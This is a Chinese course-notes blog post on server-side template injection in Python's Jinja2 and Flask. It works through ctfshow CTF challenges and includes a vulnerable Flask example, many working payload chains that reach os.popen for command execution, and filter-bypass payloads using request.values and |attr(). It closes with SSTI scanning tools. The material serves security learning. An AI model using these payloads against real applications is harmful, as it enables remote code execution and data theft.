文章目录
- 前记
- WEB攻防------第七十天
-
- Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测
-
- [Python - SSTI注入-类型&形成&利用](#Python - SSTI注入-类型&形成&利用)
- [Python - SSTI注入-演示&项目](#Python - SSTI注入-演示&项目)
前记
- 今天是学习小迪安全的第七十天,转眼一个月就过去了,真的很快,坚持看到这里的小伙伴,你们都是最棒的!相信只要坚持下去,都能成为网络安全领域的佼佼者!
- 本节课是Python安全的第一节课,主要内容是SSTI模板注入,讲了其原理、绕过思路以及利用工具
- 主要以实战为主,但也需要理解SSTI注入的攻击思路
WEB攻防------第七十天
Python安全&SSTI模板注入&Jinja2引擎&利用绕过项目&黑盒检测
Python - SSTI注入-类型&形成&利用
什么是SSTI
SSTI
(Server Side Template Injection
,服务器端模板注入)服务端接收攻击者的输入,将其作为 Web 应用模板内容的一部分- 在进行目标编译渲染的过程中,使用了语句的拼接,执行了所插入的恶意内容
- 从而导致信息泄露、代码执行、
GetShell
等问题,其影响范围取决于模版引擎复杂性 - 注意:模板引擎和渲染函数本身是没有漏洞的,该漏洞产生原因在于模板可控引发代码注入
各语言框架SSTI

- PHP:
smarty
、twig
... - Python:
jinja2
、mako
、tornado
、Django
... - Java:
Thymeleaf
、jade
、velocity
、FreeMarker
... - 其他语言的常用模板框架如上图所示
常见魔术方法以及参数
python
1.__class__: 类的一个内置属性,表示实例对象的类。
2.__base__: 类型对象的直接基类
3.__bases__: 类型对象的全部基类,以元组形式,类型的实例通常没有属性
4.__mro__: method resolution order,即解析方法调用的顺序;此属性是由类组成的元 组,在方法解析期间会基于它来查找基类。
5.__subclasses__(): 返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
6.__init__: 初始化类,返回的类型是function
7.__globals__: 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
8.__dic__: 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
9.__getattribute__(): 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
10.__getitem__(): 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
11.__builtins__: 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
12.__import__: 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
13.__str__(): 返回描写这个对象的字符串,可以理解成就是打印出来。
14.url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
15.get_flashed_messages: flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
16.current_app: 应用上下文,一个全局变量。
17.request: 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
18.request.args.x1: get传参
19.request.values.x1: 获取url中get传递参数
20.request.cookies: cookies参数
21.request.headers: 请求头参数
22.request.form.x1: post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
23.request.data: post传参 (Content-Type:a/b)
24.request.json: post传json (Content-Type: application/json)
25.config: 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>
- 上面这些是SSTI常用的参数或魔术方法,不需要全部记住,做个了解,用到的时候查一下即可
案例演示
- 这里我们主要研究的是Python语言的模板注入
- 形成SSTI注入的主要原因是在进行目标编译渲染的过程中,使用了语句的拼接,而传入的参数可控,导致了传入恶意代码执行
- 比如下面的代码:
python
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='xiaodi')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
app.run()
-
这里直接运行这个代码,然后可以看到它渲染出来的一个结果:
-
正常来说从传入 name 参数值是什么就会渲染什么,但是有模板引擎解析符号,从而将符号内的东西进行执行
-
不同的模板引擎有不同的语法去执行一些表达式 ,比如这里用的jinja2就是用
{``{}}
去解析表达式,因此我们输入{``{2*3}}
,他会将其视作表达式进行运算而不是字符串,得到的结果为6:
-
此时如果结果回显为6,就说明它可能存在SSTI
-
一般SSTI都是配合RCE使用,既然要造成RCE,那么我们肯定就要得到它可以执行代码/系统命令的函数
-
Python中常见的命令执行函数是
os
类中的popen
方法,于是我们就想办法通过这里去拿到os
类,然后构建对象调用popen
方法执行任意命令 -
而这里其实Python和Java有点类似,Java中所有的类都继承一个
Object
类,Python中也有一个根类object
,虽然有区别,但是在这里你只需要知道有这个东西就行了 -
所以我们可以通过一个空字符串或者空列表 对象,调用
__class__
魔术方法拿到这个对象的类,然后通过__base__
方法拿到object
类,紧接着通过__subclasses__()
方法拿到object
下面的所有子类,即调用下面的链:
python
{{''.__class__.__base__.__subclasses__()}}

-
拿到它的所有子类之后,我们需要分析
os
类的具体位置,这里可以将其丢到记事本当中:
-
然后找到
os
类所在的位置,注意这里记事本中是以1开头,而数组/列表索引是以0开头,因此它的实际位置是142(不同的环境这个位置是不同的!):
-
所以我们就需要通过索引拿到这个
os
类, 之后,我们要使用里面的方法需要构造一个对象出来,于是用到__init__
魔术方法:
python
{{''.__class__.__base__.__subclasses__()[142].__init__}}
- 这里我们要找到
popen
方法,所以可以通过__globals__
获取__init__
方法所在的全局命名空间字典,其中包含该方法定义时可见的所有全局变量和函数
python
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__}}

- 所以直接调用
popen
方法,然后传入我们想执行的命令即可:
python
{{''.__class__.__base__.__subclasses__()[142].__init__.__globals__.popen('calc')}}

- 这就是最典型的SSTI注入漏洞的利用方式
其他引用利用方式
- 除了上面那种最基础的利用方式外,还有一些其他的:
python
1. '':
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('calc')}}
2. []:
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('calc')}}
3. config:
{{config.__class__.__init__.__globals__['os'].popen('calc')}}
4. url_for:
{{url_for.__globals__.os.popen('calc')}}
5. lipsum:
{{lipsum.__globals__['os'].popen('calc')}}
6. get_flashed_messages:
{{get_flashed_messages.__globals__['os'].popen('calc')}}
- 根据不同的情况有不同的使用方式
Python - SSTI注入-演示&项目
案例演示
- Python的SSTI注入主要在CTF中见得比较多,这里就用ctfshow题目来演示遇到过滤如何绕过的情况
Web361(无过滤)
-
提示了名字就是考点,那么就传入参数
name
,正常回显,实战中这里可以测XSS,当然这里是SSTI -
我们首先需要判断是哪种模板渲染,一般是先判断Python,再判断其他语言,这里看具体是那个模板引擎可以使用
-
一般就是根据这张图来进行判断,当然也可以通过我们开头那张图去判断
-
这里判断过程就省略了,模板是jinja2,然后我们就直接使用刚才语法去玩呗,先判断
os
类的位置:
python
{{''.__class__.__base__.__subclasses__()}}

-
放到记事本中,发现
os
类在132的位置:
-
于是直接给出
payload
,注意使用popen()
需要使用read()
方法才能读取文件内容:
python
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('tac /flag').read()}}

Web362(过滤数字)
-
这里提示了有过滤,具体过滤什么,目前不清楚,那就先直接测试,遇到过滤了再逐个排查
-
先看
os
的位置:
-
这里正常回显,说明没有过滤,它在132这个位置,于是尝试
payload
:
-
这里被过滤了,那就说明我们后面出现的代码有问题,逐个尝试呗,先看能不能正常调用
os
:
python
{{''.__class__.__base__.__subclasses__()[132]}}

-
这里就说明可能是过滤了
[]
,也可能是过滤了某个数字,再依次尝试一遍发现过滤了数字2、3 -
怎么办呢?不能用数字了,那我们就换种引用方式呗,比如上面的
config
的payload
,直接尝试:
-
成功读取到flag,当然用其他几个都是一样的,只要不出现2、3即可
Web363(过滤单双引号)
- 这里过滤的是单双引号,然后我们发现,上面的所有
payload
都有单引号啊,怎么办呢? - 不知道你们还记不记得之前碰到SSRF过滤时用到了一个带外思路:
php
include $_GET[a]?>&a=data://text/plain,<?php system('ver');?>
- 将参数的值也通过参数的形式传递进去,达到绕过的效果,那么这里也是一样,可以在需要传值的地方使用
request.values.x
、request.args.y
的方式传值绕过单引号:
python
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat%20/flag

Web364(过滤单双引号+args)
- 这关过滤了单双引号,以及关键字
args
,至于怎么发现的就不多说了 - 这里我们的绕过方式是在上一题的基础上使用
request.values.x
或者request.cookie.x
都可以:
python
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.x](request.values.y).read()}}&x=popen&y=cat%20/flag

Web365(过滤单双引号+中括号+args)
- 本题过滤了单双引号、中括号以及args关键字,那我们上面的payload中有不用中括号的:
python
{{url_for.__globals__.os.popen('calc')}}
- 这里把传值改成上题的
request.values.x
即可:
python
{{url_for.__globals__.os.popen(request.values.x).read()}}&x=cat%20/flag

Web366(过滤单双引号+中括号+下划线+args)
- 本题过滤了单双引号、中括号、下划线以及args关键字,我们上面的
payload
除了魔术方法没有用到下划线的是:
python
1. {{config.__class__.__init__.__globals__['os'].popen('calc')}}
2. {{lipsum.__globals__['os'].popen('calc')}}
- 那么
- 其实这里的一种思路就是全部通过
request.values.x
带出去,比如payload
是这样:
python
{{lipsum.[request.values.x][request.values.y].popen(request.values.z).read()}}&x=__globals__&y=os&z=cat%20/flag
- 但是很可惜,这里同时过滤了中括号,所以这种思路不行
- 于是我们有一种新的方法,是通过
|attr()
过滤器配合动态参数,比如这样:
python
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
- 这里相当于是
|attr(__globals__)
,通过字符串名称获取对象的属性,大概就是这么个意思,其实我也不是很懂
绕过总结
- 在黑盒测试中,可能会有各种各样的过滤 ,常见的有:
- 过滤特殊数字,一般为2、3
- 过滤单双引号
- 过滤中括号
- 过滤下划线
- 过滤点号
- 过滤某些关键字 => args、config、os、popen...
- 而这些我们都可以通过
{``{}}
去解析判断 :{``{2 * 3}}
=> 特殊数字{``{""}}
=> 单双引号{``{()}}
=> 括号{``{[]}}
=> 中括号{``{_}}
=> 下划线{``{.}}
=> 点号{``{args...}}
=> 关键字
- 于是我们就有多种多样的方式和Payload去尝试绕过这些限制:
过滤数字
- 使用没有数字的
payload
,或者通过外带传入数字:
python
1. config:
{{config.__class__.__init__.__globals__['os'].popen('calc')}}
2. url_for:
{{url_for.__globals__.os.popen('calc')}}
3. lipsum:
{{lipsum.__globals__['os'].popen('calc')}}
4. get_flashed_messages:
{{get_flashed_messages.__globals__['os'].popen('calc')}}
过滤单双引号
- 通过外带传入参数绕过单双引号:
python
{{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat /flag
过滤指定字符
- 使用
chr()
函数或者平替,比如过滤了args
关键字就使用其他相同效果的关键字:
python
{{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat /flag
过滤中括号
- 使用不带中括号的
payload
:
python
{{url_for.__globals__.os.popen(request.values.c).read()}}&c=cat /flag
过滤下划线
- 使用
|attr()
函数:
python
{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag
其他
- 当然,除了这些还有很多,可以参考这篇文章:Python SSTI漏洞学习总结 - Tuzkizki - 博客园
项目工具
-
一般黑盒测试或者CTF中基本是判断出来然后工具一把梭
-
这里有几个好用的项目:
-
然后还有个SSTI的靶场集合:Pav-ksd-pl/websitesVulnerableToSSTI
-
那我们可以直接使用这两款工具看一看刚刚的ctf题能不能一把梭出来:
-
fenjing
直接使用命令或者网页端填写数据都可以(注意这里提示证书错误时换成http
即可 ):
-
也是成功拿到了flag
-
SSTImap
也是进入文件夹使用命令即可:
-
但是可以看到这个遇到严格一点的过滤它可能就测不出来了,因为它默认的
payload
可能比较水,但是可以自定义payload
使用 -
如果是打ctf,并且模板引擎是
jinja2
,使用fenjing
即可;如果是其他的模板引擎,那么就自定义payload
用SSTImap